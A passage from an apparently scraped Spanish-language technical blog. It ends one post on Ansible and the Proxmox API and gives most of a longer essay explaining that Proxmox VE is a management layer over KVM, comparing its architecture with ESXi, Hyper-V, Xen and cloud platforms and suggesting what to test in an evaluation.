proxmox_vm_info en un solo sitio, así hay una forma que parsear en vez de un condicional entre un valor de retorno documentado y uno sin documentar. Y no eches mano de --check en un playbook de construcción. El módulo que importa no lo puede honrar.\nUna pasada en seco que siempre dice que sí es peor que ninguna pasada en seco, porque te la creerás.\nReferencias community.proxmox collection docs — la superficie completa de 47 módulos community.proxmox on GitHub — donde vive el código de arriba; plugins/modules/proxmox_kvm.py es el fichero que leer cuando la documentación es ambigua proxmox_kvm module documentation — la lista de parámetros, y las advertencias de update / update_unsafe citadas arriba proxmox_vm_info module documentation — config: current y config: pending PVE qm options reference — la especificación real de cada cadena scsi[n], net[n] y boot que pasas proxmoxer — el cliente de Python sobre el que la colección está construida damo2929/ansible-example — los playbooks de donde vienen estos extractos, incluyendo el inventario manejado por NetBox, la generación de DHCP y la construcción del hipervisor ","permalink":"https://blogs.damiendye.uk/es/ansible/proxmox-create-vms-community-proxmox/","summary":"La colección community.proxmox es un cliente de API, no un agente de configuración, y eso cambia la forma de cada playbook que la usa. Dónde corren de verdad las tareas, por qué proxmox_kvm se niega a converger en vez de actualizar, por qué proxmox_disk y proxmox_nic son donde van los cambios de disco y NIC, y el valor de retorno sin documentar que acabarás necesitando.","title":"Crear VM de Proxmox con Ansible — el host que estás construyendo aún no existe"},{"content":"La pregunta con la que empieza toda evaluación de Proxmox «¿Proxmox es de verdad de nivel empresarial?»\nAparece en casi toda conversación de migración, y la preocupación de fondo casi nunca es la interfaz web. Nadie teme en serio que un panel de navegador corrompa sus datos. Lo que la gente pregunta es si la cosa que se interpone entre una máquina virtual y el hardware — el componente que tiene que mantener a un inquilino fuera de la memoria de otro, para siempre, sin un solo error — es una pieza de ingeniería seria o un proyecto comunitario que se hizo popular.\nEso es exactamente lo correcto por lo que ponerse nervioso. Solo que apunta a la capa equivocada, porque Proxmox VE no contiene un hipervisor.\nEl hipervisor es KVM. Es parte de Linux, está ahí desde 2007, y si tu organización usa EC2, Google Cloud, Oracle Cloud, Alibaba Cloud, DigitalOcean o Nutanix, ya lo estás ejecutando en producción hoy — solo que nunca has tenido que pensar en ello, porque otro era dueño de las capas de arriba.\nEste post trata de lo que ese cimiento compartido significa de verdad. Ambas mitades: la parte del argumento que se sostiene de verdad, y la parte que se sobrevende en las diapositivas de los fabricantes.\nProxmox VE es una capa de gestión La virtualización en Linux son cuatro capas distintas, construidas y mantenidas por cuatro conjuntos de personas diferentes.\n1. Extensiones de virtualización hardware. Intel VT-x con EPT, o AMD-V con NPT. Silicio. Esto es lo que hace que un invitado pueda ejecutar su propio kernel a velocidad nativa con sus propias tablas de páginas, sin nada emulando instrucciones.\n2. KVM — el hipervisor. Módulos del kernel: kvm.ko para el núcleo independiente de la arquitectura, más kvm-intel.ko o kvm-amd.ko para las extensiones del fabricante. Este es el componente que posee la frontera de aislamiento. Prepara las estructuras de control de máquina virtual del invitado, maneja los VM exits, gestiona las tablas de páginas de segundo nivel, y entrega interrupciones.\n3. El VMM — el monitor de máquina virtual, en espacio de usuario. En Proxmox VE esto es QEMU. Construye la placa base virtual: chipset, topología PCIe, discos, NIC, puertos serie, firmware. KVM ejecuta la CPU; QEMU decide qué hardware cree tener el invitado.\n4. La capa de gestión. Esto es Proxmox VE: pve-manager y pveproxy para la API y la interfaz, qemu-server para convertir un archivo de configuración de VM en una línea de comandos de QEMU, pve-container para LXC, pmxcfs sobre Corosync para la configuración replicada del clúster, pve-ha-manager para el fencing y el reinicio, más la pila de firewall y SDN.\nEsas cuatro capas existen también en la plataforma de la que estás migrando, haciendo los mismos cuatro trabajos — vCenter es la capa 4, VMkernel es la capa 2 — y volveré a esa comparación una vez que las piezas estén sobre la mesa.\nLas mismas cuatro capas en Proxmox VE y en vSphere Proxmox VE VMware vSphere 4 \u0026#183; gestión Proxmox VE pve-manager \u0026#183; pveproxy \u0026#183; qemu-server pmxcfs sobre Corosync \u0026#183; pve-ha-manager \u0026#183; SDN vCenter Server un appliance aparte que dimensionar, licenciar, parchear y respaldar 3 \u0026#183; modelo de dispositivos pve-qemu, en espacio de usuario la placa base virtual: chipset, PCIe, discos, NIC QEMU de upstream + 78 parches de Proxmox 2 \u0026#183; hipervisor \u0026#183; la frontera de aislamiento KVM \u0026#8212; kvm.ko + kvm-intel.ko / kvm-amd.ko entrada y salida de vCPU \u0026#183; EPT/NPT \u0026#183; interrupciones Linux de upstream, en un kernel compilado por Proxmox el userworld VMX, uno por VM E/S de dispositivos, instantáneas, consola remota espacio de usuario \u0026#8212; no dentro del kernel VMkernel, más un VMM por vCPU instrucciones y memoria del invitado Las palabras de VMware para el VMkernel: \u0026#171;a POSIX-like operating system\u0026#187; 1 \u0026#183; silicio Intel VT-x + EPT \u0026#183; AMD-V + NPT el mismo silicio Las mismas cuatro capas en ambos lados. Proxmox escribe la capa 4, parchea mucho la capa 3, construye el kernel de la capa 2 y toma el propio KVM de upstream. VMware escribe las cuatro y no te deja leer ninguna. Qué mantiene Proxmox de verdad Proxmox VE posee la capa 4 por completo. Sería erróneo decir que solo empaqueta las capas 2 y 3, sin embargo, y esa es la lectura equivocada más común de lo que hace la empresa.\npve-qemu lleva 78 parches contra el QEMU de upstream en su archivo de serie en el momento de escribir esto:\nLo que Proxmox añade a QEMU: 78 parches, a escala extra/ bitmap-mirror/ pve/ 78 parches, a escala 26 6 46 Arreglos de upstream retroportados. Un número llamativo son arreglos de seguridad en el modelo de dispositivos: validación de stride en qxl y virtio-gpu, un abort intel_iommu disparable por el invitado, DMA reentrante en lsi53c895a y virtio-net. Modos de sincronización de bitmap de páginas sucias para drive-mirror. El trabajo propio de Proxmox: savevm-async, el formato VMA, el controlador de bloques PBS, pbs-restore, alloc-track, backup fleecing. Dibujado a escala desde debian/patches/series. La mayor parte de la cola es la propia ingeniería de Proxmox, y toda ella se sitúa en la capa 3 — ninguno de estos parches toca kvm.ko. También construyen su propio kernel, y mantienen empaquetado o parches para la mayor parte de la pila circundante — pve-edk2-firmware para OVMF, más lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve, lvm y ceph.\nAsí que la frontera real es: toda la capa 4, ingeniería sustancial dentro de la capa 3, y un kernel que compilan. Lo que no han hecho es escribir un hipervisor. El código KVM de la capa 2 es Linux de upstream.\nY nada de esto es una crítica a Proxmox. Como tal, es la razón de que se pueda confiar el trabajo a una empresa del tamaño de Proxmox en absoluto. Una empresa pequeña de Viena no se sentó a escribir un hipervisor desde cero; construyeron sobre uno que Intel, AMD, Red Hat, Google, Amazon e IBM ya pagaban a ingenieros para mantener, y gastaron su propio esfuerzo en la capa de encima y el trabajo de integración que esa capa necesita. Ahí es donde un equipo de ese tamaño puede marcar la diferencia, y la cola de parches los muestra marcándola.\nQué es KVM en realidad KVM significa Kernel-based Virtual Machine, y el nombre es exacto: es una función del kernel, no un programa.\nCarga los módulos y Linux gana un dispositivo de caracteres, /dev/kvm, más un pequeño juego de llamadas ioctl sobre él — KVM_CREATE_VM, KVM_CREATE_VCPU, KVM_SET_USER_MEMORY_REGION, KVM_RUN. Esa interfaz es toda la API del hipervisor. Cualquier cosa que pueda abrir un descriptor de archivo y llamar a ioctl puede crear máquinas virtuales.\nLo escribió Avi Kivity en Qumranet y se fusionó en Linux 2.6.20, lanzado en febrero de 2007 — hace diecinueve años. Red Hat adquirió Qumranet en 2008, y KVM ha ido en cada lanzamiento del kernel desde entonces, en la cadencia habitual del kernel de nueve a diez semanas. Se ha portado mucho más allá de x86: arm64, POWER, s390 en IBM Z, y RISC-V.\nEl punto arquitectónico importante es por qué es pequeño.\nKVM no tiene planificador, porque Linux tiene uno. Una vCPU es un hilo del host corriente, y el planificador completamente justo la pone en un núcleo como cualquier otro hilo. No tiene gestor de memoria, porque Linux tiene uno. La RAM del invitado es un mapeo de espacio de usuario normal, así que se puede paginar, respaldar con hugepages, o colocar en un nodo NUMA usando la misma maquinaria que cualquier otro proceso. No tiene una pila de controladores, una capa de bloques, una pila de red, ni un sistema de archivos, porque Linux ya los tenía todos y son con los que tu fabricante de hardware está probando.\nEse es el argumento de madurez de verdad, y es mucho más fuerte que un número de versión. Cada mejora de balanceo NUMA, cada cambio de io_uring, cada controlador de red, cada nuevo apaño de errata de CPU que aterriza en Linux aterriza debajo de tus máquinas virtuales, porque no hay un kernel de hipervisor separado al que nadie tenga que portarlo.\nEl argumento del tipo 1 traza la línea en el sitio equivocado La objeción que sigue a esto, sin falta, es que KVM es «solo un hipervisor de tipo 2». Corre sobre un SO host, a diferencia de ESXi, que corre sobre metal desnudo.\nEsa taxonomía tiene tres décadas más que la virtualización hardware, y la cosa alrededor de la que trazaba una línea ya no está donde nadie cree.\nQué pasa de verdad cuando una vCPU corre QEMU llama a ioctl(vcpu_fd, KVM_RUN). El control pasa a kvm.ko, que carga el estado de la CPU del invitado y ejecuta VMLAUNCH. Desde esa instrucción hasta el siguiente VM exit, el invitado se está ejecutando directamente en el núcleo físico, en modo invitado, con sus propias tablas de páginas activas a través de EPT, a plena velocidad hardware. No hay nada debajo interpretando nada. El «SO host» no está en el camino. Ni siquiera está corriendo en ese núcleo.\nCuando el invitado hace algo que necesita manejo, la CPU sale al host — y aterriza en kvm.ko, en el kernel, exactamente en el nivel de privilegio que ocupa el VMkernel de ESXi. La mayoría de los exits se resuelven ahí mismo y se reingresa sin que el espacio de usuario se vea involucrado jamás.\nEl camino que toma una vCPU desde QEMU hasta el modo invitado, y dónde se detienen sus exits espacio de usuario kernel \u0026#8212; anillo 0 modo host modo invitado \u0026#8212; VMX non-root QEMU \u0026#8212; el hilo de la vCPU un hilo del host corriente por vCPU kvm.ko entrada VM \u0026#183; manejo de exits \u0026#183; EPT \u0026#183; interrupciones el invitado, en el núcleo físico su propio kernel, sus propias tablas de páginas vía EPT corriendo a plena velocidad hardware ioctl(KVM_RUN) VMLAUNCH VM exit resuelto aquí salida al espacio de usuario Nada está interpretando al invitado, y el host no está corriendo en ese núcleo. Dónde se detiene un exit Resuelto en el kernel \u0026#183; EPT/NPT violation \u0026#183; escritura APIC local \u0026#8212; con APICv, a menudo ningún exit \u0026#183; interrupción entre procesadores, diferida en hardware \u0026#183; timbre virtio-net, tomado por vhost-net Llega a QEMU \u0026#183; acceso a registro en un e1000 o IDE emulado \u0026#183; escritura en el espacio de configuración PCI \u0026#183; cualquier cosa que solo QEMU sabe responder Solo la segunda lista paga un viaje de ida y vuelta al espacio de usuario, y es la lista que encoges usando dispositivos virtio y un tipo de máquina que no lleva hardware heredado. El camino que toma una vCPU. Todo lo que está por encima de la línea discontinua es un hilo del host; todo lo de debajo es el invitado sobre silicio desnudo. Los únicos exits que llegan a QEMU son los que QEMU tiene que responder. ESXi tiene la misma separación Ahora mira la plataforma que supuestamente prueba la distinción.\nLa propia documentación de arquitectura de VMware describe el VMkernel como «a POSIX-like operating system» — un sistema operativo de tipo POSIX — que proporciona «process creation and control, signals, file system, and process threads». Eso es un sistema operativo, según la descripción de su propio autor. Y una VM en marcha en ESXi no es una cosa dentro del kernel — es un grupo de procesos userworld: un VMM por CPU virtual, que virtualiza las instrucciones del invitado y gestiona su memoria, y un proceso VMX por VM, que maneja la E/S hacia los dispositivos que no son críticos para el rendimiento y habla con el gestor de instantáneas y la consola remota.\nLee eso con QEMU en mente. Contexto de ejecución por vCPU en el kernel, proceso de espacio de usuario por VM haciendo emulación de dispositivos y gestión. VMware lo separó por la misma razón que todos los demás.\nHyper-V no es diferente. La documentación de Microsoft es explícita en que el Virtual Machine Worker Process, vmwp.exe, es «a user mode component of the virtualization stack» — un componente en modo usuario de la pila de virtualización, engendrado por VM, y que todos los dispositivos emulados se implementan en él — corriendo en la partición raíz, que es Windows. Incluso Xen, la arquitectura a la que la taxonomía mejor le va, necesita un Linux de propósito general en dom0 para funcionar, y obtiene su modelo de dispositivos para los invitados plenamente virtualizados de QEMU.\nEntonces, ¿dónde está la línea? El criterio nunca fue «¿usa el espacio de usuario?». La taxonomía de Goldberg, de principios de los años 1970, pregunta si el hipervisor es una aplicación que corre sobre un sistema operativo preexistente que ya posee el hardware y hace la planificación. Eso es un hipervisor de tipo 2, alojado: VMware Workstation, VirtualBox, Parallels Desktop, QEMU a solas sin aceleración. Instalas un SO de propósito general, luego instalas un programa encima, y ese programa le pide memoria y tiempo de CPU al SO como cualquier otro programa.\nEso no es lo que KVM es. kvm.ko no es un programa encima de Linux. Es parte de Linux, ejecutándose en el mismo nivel de privilegio que el código que posee el hardware, y cuando un invitado sale aterriza ahí directamente. No hay un SO host debajo del hipervisor. El kernel es el hipervisor. Proxmox VE envía ese kernel como el sistema, exactamente igual que ESXi envía el VMkernel como el sistema.\nY la versión «necesita espacio de usuario, así que es de tipo 2» no se puede rescatar, porque aplicada con constancia atrapa a todos. Ninguna VM corre en ESXi sin su proceso VMX, ninguna en Hyper-V sin vmwp.exe, ninguna en Xen como invitado HVM sin QEMU. Un test que mete a todos los hipervisores comerciales en un cubo no distingue nada.\nKernel que posee la virtualización de CPU y memoria Modelo de dispositivos en espacio de usuario por VM ¿Necesita un SO host preexistente? VMware ESXi VMkernel VMX por VM No Microsoft Hyper-V hipervisor más la partición raíz de Windows vmwp.exe No Xen hipervisor Xen más dom0 Linux QEMU, en dom0 o un dominio stub No KVM kvm.ko QEMU No VirtualBox, VMware Workstation el kernel del host, vía un controlador instalado la propia aplicación Sí Cuatro productos, una forma — y luego una quinta fila que es genuinamente distinta. Esa última fila es lo que se acuñó «tipo 2» para describir, y es la única donde algo más ya estaba al mando del hardware.\nAsí que la taxonomía sí traza todavía una línea. Solo que no la traza ni cerca de donde el argumento supone: KVM y ESXi están del mismo lado de ella. Llamar a KVM tipo 2 es tomar prestada una palabra de la categoría VirtualBox y aplicarla a algo que está, arquitectónicamente, en la categoría ESXi.\nLo que deja a la etiqueta sin hacer ningún trabajo útil en una evaluación, porque ambos productos entre los que estás eligiendo se sientan en la misma caja. Lo que difiere no es el número de tipo. Es que un fabricante también escribió el kernel y no te deja leerlo — una distinción de licencia y transparencia vestida con la ropa de un diagrama de arquitectura. Nutanix lo demuestra comercialmente: envía el mismo código KVM que Proxmox y describe AHV como un hipervisor de tipo 1 sobre metal desnudo. Mismo código, etiqueta opuesta, departamento de marketing diferente.\nSí hay una preocupación real escondida dentro de la acusación, y merece un nombre mejor: un kernel de propósito general hace mil trabajos que uno hecho a propósito no hace, lo que es más código y más superficie de ataque al lado de la frontera de aislamiento. Eso es legítimo y medible, y vuelvo a ello cerca del final.\nDónde pasa el trabajo de verdad El único sitio donde el instinto de «está sobre un SO host» tiene un punto real es el manejo de los exits, así que merece la pena tener claro qué exits van a dónde.\nEl invitado hace esto Lo maneja Coste Toca una página aún no mapeada en EPT/NPT kvm.ko, en el kernel Un exit, microsegundos Escribe en su APIC local La propia CPU, vía APICv/AVIC A menudo ningún exit Envía una interrupción entre procesadores Interrupciones diferidas en hardware A menudo ningún exit Transmite en una cola virtio-net con vhost-net Hilo del kernel, sin salto a espacio de usuario Un timbre Lee un registro en un controlador e1000 o IDE emulado Todo el camino hasta QEMU Un exit más un viaje de ida y vuelta al espacio de usuario Solo la última fila se parece algo a la caricatura del tipo 2 — y es también la fila que eliminas por diseño, usando dispositivos virtio y no presentando hardware heredado emulado que no necesitas. Ese es el mismo razonamiento tras elegir Q35 en vez de i440fx: menos accesos a registro atrapados, menos dispositivos heredados que recorrer.\nEl SO host es una ventaja, no lastre La otra mitad de ese balance nunca entra en el argumento, así que aquí está: un nodo Proxmox es una máquina en la que de verdad puedes trabajar. Es Debian, así que todo el archivo de Debian está a un apt install de distancia.\nLa supervisión que ya ejecutas — un node exporter de Prometheus, smartmontools, tu agente existente — en vez de lo que el appliance decida exponer. Diagnósticos cuando algo va lento: fio, iperf3, nvme-cli, perf, bpftrace. Agentes de copia de seguridad de cualquier fabricante que envíe un binario de Linux. Gestión de configuración, para que el hipervisor se siente en el mismo inventario de Ansible que todo lo demás en vez de ser un caso especial. fwupd para el firmware, en hardware cuyo fabricante soporte LVFS. Nada de eso necesita un formato de plugin, un paquete firmado, ni la bendición del fabricante. Compáralo con el modelo de ESXi, donde el shell está restringido a propósito, el código de terceros llega como un VIB, y no hay gestor de paquetes al que recurrir en absoluto.\nAlcanza dentro de la pila de almacenamiento Los agentes de supervisión son la versión aburrida de esto. La propia documentación de almacenamiento de Proxmox lista los plugins nativos — dir, NFS, CIFS, CephFS, ZFS, BTRFS, LVM, LVM-thin, iSCSI, FC/SAS, RBD, ZFS-over-iSCSI, PBS — y luego añade una frase que merece tomarse al pie de la letra:\nyou may use all storage technologies available for Debian Linux\nEso es una afirmación sobre dónde está la frontera, y el mecanismo detrás es genérico: consigue un dispositivo de bloque en cada nodo, ponle LVM, añádelo como un almacenamiento LVM con shared habilitado. Así es exactamente como funcionan los caminos soportados de Fibre Channel e iSCSI, así que cualquier cosa que pueda producir un dispositivo de bloque compartido puede usar la misma ruta.\nCuatro transportes, una ruta hacia almacenamiento Proxmox compartido el transporte lo que Linux te da lo que ve Proxmox Fibre Channel / SAS plugin nativo iSCSI plugin nativo NVMe/TCP o RDMA sin plugin \u0026#8212; nvme-cli ATA over Ethernet sin plugin \u0026#8212; aoetools un dispositivo de bloque en cada nodo /dev/sdX \u0026#183; /dev/nvme0n1 grupo de volúmenes LVM shared: 1 storage type: lvm migración en vivo a través del clúster Proxmox VE solo tiene que reconocer las dos cajas de la derecha. Todo lo que está a su izquierda es la capa de bloques de Linux, y le da igual cómo llegó el dispositivo. Dos de estos transportes tienen un plugin de Proxmox y dos no tienen nada en absoluto, y no supone diferencia alguna pasada la segunda caja. La capa LVM es donde un LUN compartido se convierte en almacenamiento de clúster, sea lo que sea que lo entregó. NVMe sobre TCP o RDMA es el caso que merece conocer, porque es rápido, actual, y está ausente de esa lista de plugins. nvme-tcp y nvme-rdma son controladores host de Linux integrados en el árbol — NVMe/TCP está en mainline desde 5.0 — así que no hay nada que compilar. nvme-cli es un paquete de Debian (nvme discover, luego nvme connect), y nvmetcli configura el objetivo nvmet dentro del kernel al otro extremo. Un namespace conectado aparece como /dev/nvmeXnY, y de ahí es un dispositivo de bloque corriente.\nATA over Ethernet demuestra lo mismo desde el extremo opuesto del espectro — antiguo, oscuro, igual de no soportado como plugin. El controlador aoe está en mainline; aoetools te da aoe-discover y aoe-stat; vblade convierte cualquier archivo o dispositivo de bloque de otra máquina en un objetivo. Misma ruta, mismo resultado.\nNinguno es una API de plugin, un SDK, ni un programa de certificación. Es lo que pasa cuando la capa de almacenamiento del hipervisor es la capa de bloques de Linux.\nLas salvedades honestas, porque esto se lee como un truco de fiesta hasta que son las 3 de la madrugada. Ninguno de los dos transportes es un tipo de almacenamiento de Proxmox probado, así que la integración y sus modos de fallo — comportamiento de reconexión, multipath, timeouts bajo carga — son tuyos para poseer y tuyos para probar antes de que algo importante viva sobre ello. Y AoE es un protocolo pelado de capa 2, no enrutable y sin autenticación, así que pertenece a una VLAN de almacenamiento aislada y a ningún otro sitio. NVMe/TCP al menos tiene un modelo de descubrimiento y se puede enrutar, que es gran parte de por qué es el que hay que elegir ahora.\nQuién más ejecuta KVM Aquí es de donde viene la afirmación de «ya lo estás ejecutando». Toda plataforma de abajo ejecuta el mismo módulo del kernel.\nPlataforma Dónde te la encuentras La parte KVM El VMM de espacio de usuario Amazon EC2 (Nitro) Nube pública Módulo del núcleo KVM Propio — QEMU eliminado, modelo de dispositivos en las tarjetas Nitro AWS Lambda, Fargate Serverless /dev/kvm Firecracker — un monitor de microVM mínimo en Rust Google Compute Engine Nube pública KVM desde el lanzamiento El propio VMM de Google, a propósito no QEMU Alibaba Cloud ECS Nube pública KVM simplificado (X-Dragon) Propio, con red y almacenamiento descargados a una tarjeta MoC Oracle Cloud (OCI) Nube pública Oracle Linux KVM — la misma pila que Oracle envía on-premises Linaje QEMU DigitalOcean, Linode/Akamai, Vultr, Hetzner, OVHcloud, Scaleway, UpCloud Nube pública KVM de serie QEMU Nutanix AHV HCI on-premises KVM de serie QEMU con libvirt y Open vSwitch OpenStack (Nova) Nube privada KVM de serie QEMU vía libvirt — el controlador por defecto y mejor probado Apache CloudStack, OpenNebula, oVirt On-premises KVM de serie QEMU vía libvirt OpenShift Virtualization, SUSE Harvester Kubernetes KVM de serie QEMU dentro de un pod, vía KubeVirt Proxmox VE On-premises KVM de serie QEMU, con LXC al lado para contenedores Todos se quedan la mitad del kernel y reescriben la mitad del espacio de usuario Los hyperscalers no bifurcaron KVM. Bifurcaron el trabajo de QEMU.\nAWS movió EC2 de Xen al hipervisor Nitro, que está construido sobre el módulo del núcleo KVM con QEMU tirado por completo. El modelo de dispositivos vive en tarjetas Nitro dedicadas en su lugar, que es como consiguen un rendimiento indistinguible del metal desnudo. Cada tipo de instancia EC2 de la generación actual ejecuta esto. Aparte, Lambda y Fargate ejecutan Firecracker, un VMM hecho a propósito en Rust que habla con el mismo /dev/kvm.\nGoogle ha ejecutado cada VM de Compute Engine sobre KVM desde que Compute Engine se lanzó, y escribió su propio VMM de espacio de usuario en vez de usar QEMU, explícitamente para evitar la enorme matriz de invitados, dispositivos y modos de QEMU. También fueron por el otro lado y endurecieron el módulo del kernel en upstream, quitando dispositivos emulados que nadie necesitaba y estrechando el conjunto de instrucciones emuladas. Ese trabajo está en el KVM que estás ejecutando.\nAlibaba hizo la misma clase de cosa con X-Dragon: un hipervisor KVM recortado con la virtualización de red y almacenamiento descargada sobre una tarjeta MoC basada en FPGA.\nNutanix AHV es KVM más libvirt más QEMU más Open vSwitch más la orquestación de Nutanix — de todo producto comercial de esa lista, el pariente más cercano que tiene Proxmox VE. Una capa 4 diferente, y una factura muy diferente.\nCinco plataformas, cinco modelos de dispositivos, un solo KVM Amazon EC2Nitro Google CloudCompute Engine Alibaba CloudECS, X-Dragon NutanixAHV Proxmox VEsobre Debian gestión mod. dispositivos hipervisor hardware plano de control EC2 consola y API por hora de instancia plano de control GCE consola y API por hora de instancia consola ECS y API por hora de instancia Prism y AOS en cada nodo por nodo y año pve-manager pveproxy, HA, SDN en cada nodo suscripción opcional VMM propio, nada de QEMU los dispositivos viven en las tarjetas Nitro El VMM propio de Google, en espacio de usuario, a propósito, no QEMU VMM simplificado, red y almacenamiento descargados a una tarjeta MoC QEMU, libvirt y Open vSwitch QEMU, con LXC al lado KVM \u0026#8212; kvm.ko, kvm-intel.ko / kvm-amd.ko la frontera de aislamiento, y es el mismo código en cada columna Intel VT-x + EPT \u0026#183; AMD-V + NPT El mismo módulo del kernel en cada columna. Lo que cambia subiendo por la pila es el modelo de dispositivos, luego la capa de gestión, luego la licencia — que es también el orden en que estas plataformas de verdad difieren. Proxmox VE se queda QEMU a propósito Es tentador leer la tabla como un ranking, con AWS y Google arriba por haber reemplazado QEMU. Esa es la lectura equivocada, porque su restricción no es la tuya.\nAWS y Google ejecutan un perfil de hardware, a una escala donde un solo fallo de emulación de dispositivos es un evento a escala de flota, y controlan cada frontera de imagen de invitado que les importa. En ese mundo la amplitud de QEMU es casi toda pasivo, así que borrarlo es obviamente correcto.\nTú no estás en ese mundo. Tienes una imagen de appliance de 2013 que quiere un e1000. Tienes una VM de Windows cuyo tipo de máquina debe quedar fijado el resto de su vida. Tienes una GPU que pasar por passthrough, un controlador SAS emulado que satisfacer para un instalador, un almacén de variables UEFI que preservar. QEMU es exactamente lo que le deja a una plataforma de propósito general decir que sí a todo eso.\nLo que AWS llama superficie de ataque es lo que tú llamas una matriz de compatibilidad. Ambas descripciones son exactas; la diferencia es si tú puedes elegir tus cargas.\nTambién explica la forma de esa cola de parches. AWS y Google resolvieron la copia de seguridad y las instantáneas fuera del VMM, en sus propios servicios de almacenamiento. Proxmox no tenía un servicio de almacenamiento en el que resolverlo, así que lo pusieron en QEMU — que es por qué savevm-async y el controlador de bloques de PBS existen como parches en vez de como productos.\nY eso merece conocerse por una razón práctica: las partes de Proxmox VE que más echarías de menos son las partes que no están en upstream. Tus configuraciones de VM son texto plano y tus imágenes de disco son formatos estándar, así que una máquina se moverá. Pero una instantánea que incluya el estado de la RAM, y una cadena incremental de Proxmox Backup Server, dependen del fork de QEMU de Proxmox. Esa es una dependencia mucho más ligera que un hipervisor propietario — el fork es público, AGPL, y puedes leer cada parche que hay en él — pero no es cero, y «sin lock-in a nivel de software» debería llevar esa nota al pie.\nEntonces — ¿es de nivel empresarial? La forma perezosa de este argumento no funciona, y merece decirse claro. «AWS usa KVM, por lo tanto Proxmox VE es de nivel empresarial» es un non sequitur: toma una afirmación sobre una capa y la aplica calladamente a un producto entero.\nAquí está la versión que sí se sostiene.\nLo que se comparte es la capa más difícil de acertar y más peligrosa de errar. La virtualización de CPU y memoria, y la frontera de aislamiento entre inquilinos, es la parte donde un fallo es una brecha en vez de una caída. Ese código lo revisan ingenieros pagados por Amazon, Google, Red Hat, Intel, AMD, IBM y Alibaba, y sus fallos los encuentran las organizaciones que ejecutan las flotas más grandes que existen — normalmente antes de que el kernel te llegue. Cuando una vulnerabilidad de escape de invitado sí aterriza, el arreglo llega a través de la actualización normal del kernel que ibas a aplicar de todos modos. No estás esperando el ciclo de lanzamiento de un fabricante para un hipervisor que solo ese fabricante puede ver.\nLo que no se comparte es todo lo que está por encima de la frontera. Lo que significa que la pregunta se colapsa en dos mucho más contestables:\n¿Es la capa de gestión lo bastante buena para tu forma de operar? ¿Puedes comprar soporte para ella con términos con los que puedas vivir? Ambas se pueden probar en una prueba de concepto y escribir en un contrato. Ninguna requiere fe en un hipervisor.\nEsa es una posición mucho mejor que la que la pregunta original supone — que se te pide confiar en un hipervisor novedoso de un fabricante pequeño. No es así. El código específico de Proxmox es una capa de gestión mayormente en Perl y cada vez más en Rust, más esa cola de parches contra QEMU, y fíjate dónde aterrizan los parches: el modelo de dispositivos y el camino de copia de seguridad, no la frontera de aislamiento.\nTambién merece conocerse lo que cuesta que la capa específica de Proxmox falle. Los procesos de QEMU son procesos independientes corrientes en el host, así que que pveproxy se caiga no detiene ni una sola máquina virtual. Ese es un radio de explosión muy diferente de perder el componente que posee la frontera de aislamiento.\nQué no te compra «el mismo hipervisor» Aquí es donde los documentos de confianza de los fabricantes tienden a parar, lo que te dice algo sobre para quién están escritos. Es la mitad más útil.\nNo te compra la fiabilidad de AWS. La disponibilidad de Nitro tiene muy poco que ver con KVM. Viene del plano de control, la red, el servicio de almacenamiento, la gestión de capacidad y la práctica operativa alrededor. La fiabilidad de tu clúster vendrá de tu diseño de quórum de Corosync, tu configuración de fencing, tu elección de almacenamiento y tu redundancia de red. KVM no tiene opinión sobre ninguna de esas. Compartir un hipervisor con un hyperscaler no hereda sus operaciones.\nNo te compra la superficie de ataque de Nitro, y aquí es donde aterriza la mitad legítima de la acusación del tipo 2. Estás ejecutando QEMU sobre un kernel de propósito general, e históricamente el modelo de dispositivos de QEMU es donde vivieron los escapes de VM memorables — VENOM, en un controlador de disquete emulado que nadie usaba, siendo el ejemplo canónico. Google podía señalar en su momento que Compute Engine estaba sin afectar precisamente porque no ejecuta QEMU. Tú sí lo ejecutas, así que los controles compensatorios son tuyos: prefiere virtio sobre hardware emulado, no presentes dispositivos que no necesitas, deja en paz los perfiles de AppArmor, y parchea QEMU con la misma disciplina que el kernel. Los parches extra/ de Proxmox son ellos haciendo exactamente eso en tu nombre, que es una cosa razonable de comprobar que siguen haciendo.\nNo hace el comportamiento de las VM portable entre plataformas. La selección del modelo de CPU, el versionado del tipo de máquina, la compatibilidad de migración en vivo y el comportamiento del reloj se deciden todos en las capas 3 y 4, y difieren por todas partes. Un clúster de generaciones de CPU mezcladas todavía te castigará por poner el tipo de CPU a host, y los relojes de los invitados aún derivan sea cual sea el logo de la plataforma. Mismo hipervisor no es mismo comportamiento.\nNo responde a la pregunta del soporte — que es la que a compras de verdad le importa, y con razón. Proxmox VE es AGPLv3 y libre de ejecutar en producción. La suscripción compra el repositorio probado para empresa y el soporte del fabricante, desde 120 € por socket y año. El soporte del propio Proxmox se presta en horario laboral austriaco, así que la cobertura ininterrumpida viene de partners en vez de de Viena. croit, donde trabajo, es uno de esos partners, y cubre 24/7, los 365 días del año. Eso es una negociación comercial, no un riesgo técnico — y que sea una negociación comercial es el objetivo de todo lo anterior.\nQué evaluar de verdad en su lugar Si el hipervisor está zanjado, una prueba de concepto debería gastar su tiempo en la capa que sí es específica de Proxmox VE:\nFencing y HA. Corta la corriente de un nodo con invitados HA en marcha y cronometra el reinicio. Luego hazlo con dos nodos y confirma que los restantes se comportan como esperas cuando se pierde el quórum. Migración en vivo entre generaciones de CPU. Con el modelo de CPU que de verdad pretendes estandarizar, no host. Copia de seguridad y, más importante, restauración. Tiempos de restauración bajo carga, no tiempos de copia. Nadie ha sido nunca agradecido por una copia rápida. El modelo de permisos. Si puedes dar a un equipo de aplicación consola y control de encendido sobre sus propias VM y nada más, con granularidad suficiente para satisfacer a un auditor. La API. Todo lo que hace la interfaz web es una llamada a la API; si tu automatización no puede conducirla, la plataforma no encajará en cómo trabajas. El camino de actualización. Una actualización de versión mayor en el clúster de la PoC, antes de que tengas 400 VM en él. Ninguna de esas es una pregunta sobre KVM. Ese es más bien el punto.\nEl hipervisor es la parte zanjada. Gasta la prueba de concepto en las partes que no lo están.\nReferencias El propio KVM\nKVM API documentation — la interfaz ioctl de /dev/kvm, que es todo el contrato del hipervisor Linux 2.6.20 release notes — el lanzamiento en el que se fusionó KVM, febrero de 2007 Some KVM developments — LWN, enero de 2007, sobre KVM en los días posteriores a su llegada a mainline Cómo están construidos los otros hipervisores\nInterpreting virtual machine monitor and executable failures — la propia descripción de Broadcom de una VM ESXi en marcha como «several processes or userworlds», con un VMM por vCPU y un VMX por VM The Architecture of VMware ESXi (PDF) — el whitepaper que llama al VMkernel «a POSIX-like operating system» con procesos, señales, un sistema de archivos e hilos. Enlazado vía un espejo porque la URL original de VMware no sobrevivió a la reorganización de Broadcom, lo que es en 